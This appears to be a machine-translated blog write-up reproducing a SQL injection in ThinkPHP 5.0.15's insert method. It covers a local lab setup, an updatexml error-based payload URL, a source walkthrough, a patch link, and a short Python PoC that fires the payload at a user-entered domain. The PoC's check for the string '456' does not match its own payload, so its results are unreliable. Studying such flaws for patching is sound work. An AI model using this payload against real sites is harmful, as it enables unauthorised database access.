A recurring audit of the SQL injection of ThinkPHP5.0.15

About tp framework

ThinkPHP is a free, open source, fast and simple object-oriented lightweight PHP development framework
. It was founded in early 2006 and released under the Apache2 open source agreement. It was born for agile WEB application development and simplified enterprise application development. ThinkPHP has been adhering to the concise and practical design principles since its birth. While maintaining excellent performance and minimal code, it also pays attention to ease of use. And it has many original functions and features. With the active participation of the community team, it has been continuously optimized and improved in terms of ease of use, scalability and performance. It has grown into the most leading and most influential WEB application development framework in China. The typical cases ensure that it can be used stably for commercial and portal-level development.

Vulnerability description

Although the ThinkPHP 5.0.x framework uses a parameterized query method to operate the database, in the insert and update methods, the incoming parameters are controllable and there is no strict filtering, which eventually led to the occurrence of this SQL injection vulnerability.

Preliminary preparation

下载地址:http://www.thinkphp.cn/down/1125.html

Unzip it in Xiaopi and visit the page.
Insert picture description here
According to the article of the big guy, here we need to create a new database—table—field
Insert picture description here
and then open it C:\phpstudy_pro\WWW\thinkphp_5.0.15\applicationto fill in the blanks according to what I wrote earlier. Insert picture description here
Modify config.php
Insert picture description here
Modify Add methods database.phpInsert picture description here
in application/index/controller/Index.phpthe Index class:

public  function testsql()

    {
    
    

        $username = input('get.username/a');

        db('user')->where(['id'=> 1])->insert(['username'=>$username]);

    }

Then take the payload written by the boss to access the trigger

http://127.0.0.1/thinkphp_5.0.15/public/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

Insert picture description here
Big guy's explanation

http://127.0.0.1/thinkphp/  public/        index.php/   index/   index/   index
         域名     网站目录  对外访问目录        入口文件     前台      控制器    方法名
       
扩展:
其中关于 updatexml 函数UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

Vulnerability analysis

First of all, we know that the insert method has loopholes, then check the specific implementation of the insert method.
After getting the parameters through input, the username variable is as follows:

username = {
    
    array}[3]
	0 = "inc"
	1 = "updatexml(1,concat(0x7,user(),0x7e),1)"
	2 = "1"

Follow insert, thinkphp/library/think/db/Query.phpInsert picture description here
execute insert statement

$sql = $this->builder->insert($data, $options, $replace);

With the thinkphp/library/think/db/Builder.php
Insert picture description here
with the parseData to thinkphp/library/think/db/Builder.php
Insert picture description here
be seen $valis an array, and according to the $val[0]value of inc, will enter the 'inc' by the switch statement:
parseKey here, that is thinkphp/library/think/db/builder/Mysql.php
Insert picture description here
here not incoming $ key for more filtering and Check, splicing it with the previous result of parseKey and return it to result until the injection is successful.

Vulnerability patch

https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

Big guy article address: https://blog.csdn.net/Candyys/article/details/104864761

Trash poc written by myself

import requests
import re
#分割线___________________________________

def domain1(domain):
    url1 = domain + "/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1"
    try:
        res = requests.get(url1)
        res.encoding = 'utf-8'
        html = res.text

        html_data = re.findall("456",html)
        html_data1 = []
        for i in html_data:
            if not i in html_data1:
                html_data1.append(i)
        print("(温馨提示为null可能是不存在该漏洞):" + str(html_data1))
    except Exception:
        print("请检查网址是否正确")
def main():
    domain = input("请输入域名或IP:")
    domain1(domain)
if __name__ == '__main__':
    main()

Guess you like

Origin blog.csdn.net/p_utao/article/details/112977079